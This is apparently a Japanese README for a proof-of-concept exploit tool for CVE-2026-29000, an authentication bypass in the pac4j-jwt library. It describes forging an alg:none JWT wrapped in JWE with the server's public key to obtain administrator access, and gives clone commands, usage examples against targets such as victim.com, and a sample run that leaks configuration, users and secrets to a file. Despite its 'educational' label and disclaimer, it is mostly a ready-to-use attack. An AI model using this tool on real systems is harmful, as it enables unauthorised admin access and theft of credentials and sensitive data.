
CVE-2026-29000 – pac4j-jwt 認証バイパス (CVSS 10.0)。公開鍵による JWE ラッピングを悪用したワンクリックの管理者偽造。設定、ユーザー、シークレットが漏洩。Keep-alive、プロキシ、カスタム JWKS に対応。教育目的の PoC エクスプロイトツール。
CVE-2026-29000 - JWT alg:none + JWE 暗号化によるワンクリック管理者権限奪取
このエクスプロイトは、pac4j-jwt ライブラリにおける CVSS 10.0 の重大な脆弱性である CVE-2026-29000 を悪用します。サーバーの公開 JWKS キーを抽出し、alg: none を用いた暗号化 JWE トークンを偽造することで、完全な認証バイパスを実現し、ワンクリックで完全な管理者権限を取得します。
alg:none の JWT を作成し、サーバー自身の公開キーでラップ| ライブラリ | 影響を受けるバージョン | 修正済みバージョン |
|---|---|---|
| pac4j-jwt | < 5.1.5 | ≥ 5.1.5 |
| pac4j-jwt | 4.x < 4.5.8 | ≥ 4.5.8 |
| pac4j-jwt | 3.x < 3.18.6 | ≥ 3.18.6 |
[!] 免責事項: このツールは、許可されたセキュリティテストおよびレッドチームの業務にのみ使用してください。
git clone https://github.com/tc4dy/CVE-2026-29000-PoC-Exploit.git
cd CVE-2026-29000-PoC-Exploit
pip install -r requirements.txt
python exploit.py --help
requests>=2.31.0
urllib3>=2.0.0
pyjwt>=2.8.0
cryptography>=41.0.0
jwcrypto>=1.5.0
colorama>=0.4.6
基本的なワンショットエクスプロイト
python exploit.py --target https://victim.com:8443
Save Forged Token + Leak Data
bash
python exploit.py -t https://target.corp:9443 -o admin.jwe -l stolen.txt
Verbose Mode with Custom JWKS
bash
python exploit.py -t https://example.com:8080 --jwks /oauth/jwks.json -v
With Proxy and No Keep-Alive
bash
python exploit.py -t https://192.168.1.100:443 --proxy http://127.0.0.1:8080 --no-keep-alive
Custom Keep-Alive Interval
bash
python exploit.py -t https://victim.com:8443 --delay 10 --max-retries 5
SSL Verification Enabled
python exploit.py -t https://legit.com:8443 --ssl-verify
引数 短縮形 必須 デフォルト 説明 --target -t はい - ターゲットURL(例: https://example.com:8443) --jwks -k いいえ 自動検出 カスタムJWKSエンドポイントパス --output -o いいえ なし 偽造したJWEトークンをファイルに保存 --leak -l いいえ leaked_TIMESTAMP.txt 漏洩データをファイルに保存 --verbose -v いいえ False デバッグ出力を有効化 --proxy -p いいえ なし HTTP/HTTPSプロキシ --user-agent -ua いいえ Mozilla/5.0... カスタムUser-Agent --no-keep-alive - いいえ False セッションのkeep-aliveを無効化 --delay - いいえ 5.0 keep-alive ping間隔(秒) --max-retries - いいえ 3 失敗したリクエストごとの最大リトライ回数 --ssl-verify - いいえ False SSL証明書を検証
$ python exploit.py -t https://10.10.10.100:8443 -o backdoor.jwe -l leak.txt
════════════════════════════════════════════════════════════════
CVE-2026-29000 - pac4j-jwt Authentication Bypass Exploit
The Educational One‑Click Admin Forge
CVSS 10.0 - CRITICAL
════════════════════════════════════════════════════════════════
[11:23:15] STAGE 1: JWKS から RSA 公開鍵を取得中 [11:23:15] JWKS エンドポイントを探索中... [11:23:16] /realms/master/protocol/openid-connect/certs で JWKS を発見 [11:23:16] RSA 公開鍵の抽出に成功
[11:23:16] STAGE 2: alg:none を使用した JWT の作成と JWE への暗号化 [11:23:16] 偽造した JWE トークン(切り詰め): eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMjU2R0... [11:23:16] ✓ トークンを backdoor.jwe に保存しました
[11:23:16] STAGE 3: 偽造した JWE を Bearer トークンとして送信中 [11:23:17] ✓ 認証に成功しました! /api/users/me へのアクセスが許可されました
[11:23:17] STAGE 4: アクセス可能なエンドポイントの列挙と機密データの露呈 [11:23:18] ✓ 漏洩: /actuator/env (ステータス 200) [11:23:18] ✓ 漏洩: /api/users (ステータス 200) [11:23:18] ✓ 漏洩: /api/secrets (ステータス 200) [11:23:18] ✓ 漏洩: /config/server (ステータス 200) [11:23:18] ✓ 4 件の機密エンドポイントを取得 → leak.txt に保存しました
[11:23:18] キープアライブセッションが有効です(Ctrl+C で停止) [11:23:18] トークン(JWE)は約 1 時間有効です – 期限切れの場合は再生成してください
他のエクスプロイトリポジトリもご覧ください: